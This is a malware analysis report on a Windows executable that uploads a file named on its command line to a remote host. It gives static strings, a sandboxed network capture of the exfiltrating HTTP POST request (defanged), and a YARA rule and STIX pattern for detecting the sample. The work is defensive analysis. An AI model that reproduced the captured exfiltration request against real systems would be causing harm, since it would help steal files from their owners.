Sample: 5dee71

Sample

SHA256: `5dee718c386934d2494ee5ddde79d27a69c1687493b6eb40d0db47f730ab76fb`

The sample is a 32 bit Windows Portable Executable (PE). The sample attempts to send a POST request to a remote server. The most likely language that the sample is written on is C++.

Task

What is required for the sample to run properly?

- I assume that are being the provided arguments for the sample, so the question would be HOST, PORT, FILEPATH

What is the sample intended purpose?

- The sample attempts to send a file to the specified host via an HTTP POST request. My best guess here would be some email attachment or something given the URI.

What would be the best method to detect this sample?

- I've created an YARA rule and a STIX 2 Pattern

Static Analysis

Running floss and pestudio yielded the following results:

Notable Strings

```
Accept-Encoding: gzip, deflate
Accept-Language: zh-cn
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Content-Type: application/x-www-form-urlencoded
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Send Finish!
PostEmail.asp?ID=ASdX
http://
```

Imports

```
KERNEL32.dll
WININET.dll
```

Libs

```
KERNEL32.DLL
urlmon.dll
```

Dynamic Analysis

Given the facts that I had from the Static Analysis I concluded that the sample is trying to communicate with some resources over the internet and I simulated a network that I used to capture that communication. I've set up inetsim on a separate Remnux machine within an isolated network (Host-Only Adapters). I've run Fiddler on the Windows Machine and Wireshark additionally on the REMnux.

Running the example with no arguments yields no results on Fiddler/Wireshark so I've decided to investigate through procmon to check whether some suspicious activity is happening. Noticed few CreateFile and RegSetValue Operations but I couldn't conclude anything for sure. I decided to run it through Cutter and debug it. I immediately noticed that the sample requires 3 arguments to run, and I wondered if that string http:// would be concatenated with some of the args.

After debugging and reading the asm code I understood the purpose of the arguments.

```
(1): The FQDN that gets concatenated with http:// string
(2): The port for the host
(3): An arbitrary file
```

Running the sample with those arguments yields a HTTP POST

```
POST hxxp://ARG1:ARG2/PostEmail.asp?ID=ASdX HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: test.com
Content-Length: 27648
Connection: Keep-Alive
Pragma: no-cache
Cookie: PREF=89745632017245

// {RAW BINARY DATA OF ARG3}
```

Rules & Signatures

Yara Rule

```
rule MatchSample
{
    meta:
        last_updated = "11/11/2022"
        author = "Dimitar Ganev"
        sha256 =
"5dee718c386934d2494ee5ddde79d27a69c1687493b6eb40d0db47f730ab76fb"

    strings:
        $entrypoint = { 55 8B EC 6A FF 68 18 61 40 00 68 88 2D 40 00 64 A1
00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 }
        $userAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)"
        $accept = "Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint,
application/vnd.ms-excel, application/msword, */*\r\nAccept-Language: zh-
cn\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding:
gzip, deflate\r\n"
        $uriPart = "PostEmail.asp?ID=ASdX"

    condition:
        $entrypoint
        and $accept
        and $userAgent
        and $uriPart
}
```

STIX 2 Pattern

```
[url:value = 'http://*/PostEmail.asp?ID=ASdX']
```

Tools

- procmon
- Fiddler
- Inetsim
- Wireshark
- IDA Freeware
- Cutter
- floss

- pestudio
- VirtualBox
    - FLARE VM (Win10 Enterprise for Malware Analysis)
    - REMnux